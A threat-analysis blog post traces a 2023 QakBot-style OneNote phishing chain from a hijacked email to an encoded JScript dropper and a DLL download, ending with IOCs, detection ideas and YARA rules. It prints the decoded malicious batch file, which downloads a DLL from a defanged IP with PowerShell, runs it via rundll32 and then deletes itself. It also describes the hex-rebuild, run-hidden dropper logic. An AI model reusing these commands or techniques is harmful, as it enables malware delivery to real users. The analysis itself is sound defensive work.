Skip to content
Buy me a coffee

Are You at Risk? OneNote Attachments in Phishing Emails

The primary goals of this post are to:

  1. Take a public sample through a first triage, from the email to the final payload.
  2. Group the email subjects and attachment names seen in the wild (ITW).
  3. Map the attack chain and turn each step into something a defender can detect.

Phishing with Office macros got much harder once Microsoft started blocking macros in files downloaded from the internet. Attackers needed a new container that users would open and that would still run code, and in early 2023 they settled on OneNote. A .one notebook can embed almost any file behind an image, and double-clicking that image runs the embedded file. Macro blocking doesn’t apply, and at the time Mark of the Web didn’t follow the file out of the notebook either.

In this post we look at one of these campaigns. We start with the email, open the notebook in a lab, decode the script hidden inside it and follow it to the final DLL. Then we list what we found as IOCs and detection ideas.

The sample came from VirusTotal. If you want to follow along, do it inside an isolated VM (see Build a safe home lab) and never on your own machine. When you work from shared samples or someone else’s report, credit them. All the references are listed at the bottom.

Figure 1. The phishing email: a reply in a hijacked thread, with Contract_KD61(Feb22).one attached (addresses redacted)

The email in Figure 1 has the usual signs of phishing. The tone is urgent and it pushes the reader to open the attachment straight away. It’s also a reply to a real thread. This is thread hijacking: the attacker steals mail from an account they’ve already compromised and replies inside a conversation the recipient knows. The earlier messages are real, so the new one looks like the next step in that conversation.

The attachment name, Contract_KD61(Feb22).one, follows a pattern we saw across this campaign: a word describing the document (Document, Contract, Cancellations), an underscore, four letters or digits, then a month and day in parentheses. We turn that into a regex in the Detection section below.

Figure 2. The OneNote page: an “Office 365” lure

Opening the .one file shows a single notebook page made to look like an Office 365 notice. It says the document “contains attachments from the cloud” and asks the user to double-click “Open”.

Figure 3. Hovering over the “Open” button shows the embedded Open.jse

The button is just an image placed over an embedded file. Hovering over it (Figure 3) shows what’s really there: Open.jse, about 1 KB, inserted from Z:\builder\Open.jse. That source path is saved inside the notebook, so it’s a useful thing to hunt for: it points to the attacker’s build machine, not the victim’s. If the user double-clicks and accepts OneNote’s warning, Windows runs the .jse with the Windows Script Host (wscript.exe).

Figure 4. Open.jse in a text editor: still encoded

A .jse file is JScript that’s been run through Microsoft’s own script encoder. Opened in a text editor, it’s unreadable (Figure 4). The encoding only hides the code from casual readers, though: it isn’t encryption, and a Windows Script Decoder gives back the original script (Figure 5).

Figure 5. Open.jse after decoding

The decoded names are random strings like aQHuT8UN and avmJaznDU. To make the logic easier to read, we renamed the variables and added comments (Figure 6).

Figure 6. The decoded script, cleaned up

The script does four things:

  1. Stores a long hex string in data.
  2. Turns that hex back into text. avmJaznDU walks the string two characters at a time (substr(i, 2)), turns each pair from hex into a number (parseInt(..., 16)), and turns each number into a character (String.fromCharCode, wrapped in aQHuT8UN).
  3. Writes the result to a batch file, a8imoZ.cmd, using the scripting.filesystemobject ActiveX object.
  4. Runs that batch file hidden. It calls wscript.shell with run('a8imoZ.cmd NDLL', 0), and the 0 means no window is shown. The NDLL argument is passed in, but the batch file never uses it.

Decoding the hex string from Figure 6 gives the batch file. The URL is defanged here; nothing else is changed:

Terminal window
@echo off
powershell.exe IWR -uri hxxps://138.199.46[.]15/123/877173.dat -o %temp%\aQg9MHOT.tmp
rundll32 %temp%\aQg9MHOT.tmp,Wind
( del /q /f "%~f0" >nul 2>&1 & exit /b 0 )

Line by line:

  • IWR is short for PowerShell’s Invoke-WebRequest. It downloads 877173.dat over HTTPS straight from an IP address, with no domain name. A bare-IP download on port 443 is unusual for normal software, which makes it a good thing to alert on.
  • The download is saved in %TEMP% as aQg9MHOT.tmp. Running file on it (Figure 7) shows it’s a 32-bit Windows DLL, whatever the .tmp extension says. See PE files for what that means.
  • rundll32 loads the DLL and calls its exported function Wind.
  • The last line deletes the batch file itself (%~f0 is the script’s own path), so less evidence is left on disk.

Figure 7. file confirms the .tmp download is a DLL

We stopped the triage at the DLL. But the full chain (a OneNote lure, then an encoded .jse, then a .cmd, then a PowerShell download, then rundll32 with the Wind export) matches public reporting on QakBot (also called Qbot) campaigns from early 2023. CrowdStrike, Trellix and Cyble all describe the same shape. QakBot is a banking trojan that turned into a loader, and its infections were often followed by ransomware. That’s why this campaign was worth catching early.

Figure 8. Attack chain: email, then OneNote and the .jse, then the .cmd, then the DLL download

Step What happens Technique (MITRE ATT&CK)
1 Hijacked email thread with a .one attachment T1566.001 Spearphishing Attachment
2 User double-clicks “Open” on the lure T1204.002 User Execution: Malicious File
3 wscript.exe runs the encoded Open.jse T1059.007 JavaScript, T1027 Obfuscated Files
4 Script writes and runs a8imoZ.cmd, hidden T1059.003 Windows Command Shell
5 PowerShell downloads the DLL to %TEMP% T1059.001 PowerShell, T1105 Ingress Tool Transfer
6 rundll32 runs the DLL’s Wind export T1218.011 Rundll32
7 Batch file deletes itself T1070.004 File Deletion

These are from February 2023. IPs get reassigned over time, so check an IP’s current owner before you block it, and use these mainly to search back through older logs. Hashes explains what an MD5 is and why it only matches one exact file. For working through IOCs from a report, see Processing Threat Reporting.

Indicator Type Note
138.199.46[.]15 IP Payload host (HTTPS, path /123/)
hxxps://138.199.46[.]15/123/877173.dat URL DLL download
69C454D28A5B0C0559603C72109DFFF3 MD5 Open.jse (embedded in the .one)
b3e328ec3bb70610eb0af44617353323 MD5 a8imoZ.cmd
46c9ff3c71ae3fdfef3449a108bb55e9 MD5 877173.dat (as downloaded)
782aafdd28e36417c43486fd42e06351 MD5 aQg9MHOT.tmp (DLL)
Open.jse, a8imoZ.cmd, aQg9MHOT.tmp File names Random per sample, so weak on their own
Z:\builder\Open.jse Embedded path Source path saved in the .one

Hashes and IPs change with every wave, but behavior stays the same much longer. Start with behavior.

Process chains to alert on

  • onenote.exe starting wscript.exe, cscript.exe, mshta.exe, cmd.exe or powershell.exe. OneNote has almost no legitimate reason to do this.
  • wscript.exe starting cmd.exe to run a .cmd file from the user’s folders.
  • rundll32.exe loading a file from %TEMP% that doesn’t end in .dll, especially with a short export name like Wind.
  • PowerShell Invoke-WebRequest (or IWR) to a URL whose host is a bare IP address.

Email

If your mail gateway allows it, block or quarantine .one attachments from outside senders. Very few businesses need to receive them. To catch the subject and attachment-name pattern from this campaign:

^[A-Za-z]+_[A-Z0-9]{4}\s?\((?:Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s?\d{1,2}\)

This matches names like Document_NGRF(Feb 13) or Cancellations_7Q2X (Jan 31).one.

YARA (experimental)

Three experimental rules, one for each stage we can see on disk. The first looks for a OneNote file that embeds a script. The second looks for the decoded JScript dropper. The third looks for the batch file it writes. New to YARA? Start with YARA.

rule ORL_OneNote_Embedded_Script_Lure
{
meta:
description = "OneNote (.one) file that embeds a script or batch file behind a lure"
author = "OneReverseLook"
date = "2026-12-03"
status = "experimental"
strings:
// OneNote section file header GUID {7B5C52E4-D88C-4DA7-AEB1-5378D02996D3}
$one_header = { E4 52 5C 7B 8C D8 A7 4D AE B1 53 78 D0 29 96 D3 }
// FileDataStoreObject GUID: marks each file embedded in the notebook
$embedded = { E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC }
// Embedded file names are stored as UTF-16
$ext_jse = ".jse" wide nocase
$ext_vbs = ".vbs" wide nocase
$ext_vbe = ".vbe" wide nocase
$ext_cmd = ".cmd" wide nocase
$ext_bat = ".bat" wide nocase
$ext_hta = ".hta" wide nocase
$ext_wsf = ".wsf" wide nocase
condition:
$one_header at 0 and $embedded and any of ($ext_*)
}
rule ORL_JScript_Hex_Dropper_Cmd
{
meta:
description = "Decoded JScript that rebuilds a batch file from hex and runs it hidden"
author = "OneReverseLook"
date = "2026-12-03"
status = "experimental"
strings:
$fso = "scripting.filesystemobject" ascii nocase
$shell = "wscript.shell" ascii nocase
$ctf = "CreateTextFile" ascii
$fcc = "String.fromCharCode" ascii
$hex = /parseInt\([^)]{1,40}\.substr\([^)]{1,40}, ?2\), ?16\)/
$run = /\.run\(\s*'[^']{1,40}\.cmd[^']{0,40}'\s*,\s*0\s*\)/ nocase
condition:
filesize < 50KB and $fso and $shell and $ctf and $fcc and $hex and $run
}
rule ORL_Batch_IWR_Rundll32_Wind
{
meta:
description = "Dropped batch file: PowerShell IWR to %temp%, rundll32 with the Wind export, then self-delete"
author = "OneReverseLook"
date = "2026-12-03"
status = "experimental"
strings:
$iwr = /powershell(\.exe)? +IWR +-uri +https?:\/\// nocase
$tmp = "%temp%\\" ascii nocase
$r32 = /rundll32 +%temp%\\[A-Za-z0-9]{4,16}\.tmp,Wind/ nocase
$del = "del /q /f \"%~f0\"" ascii nocase
condition:
filesize < 5KB and $iwr and $tmp and $r32 and $del
}

Let us know what you think: feedback is always welcome at feedback@onereverselook.com.

Last updated:

One Reverse Look

"A little learning is a dangerous thing." ~ A. Pope

One Reverse Look · Made with ❤ · Your friendly knowledge seeker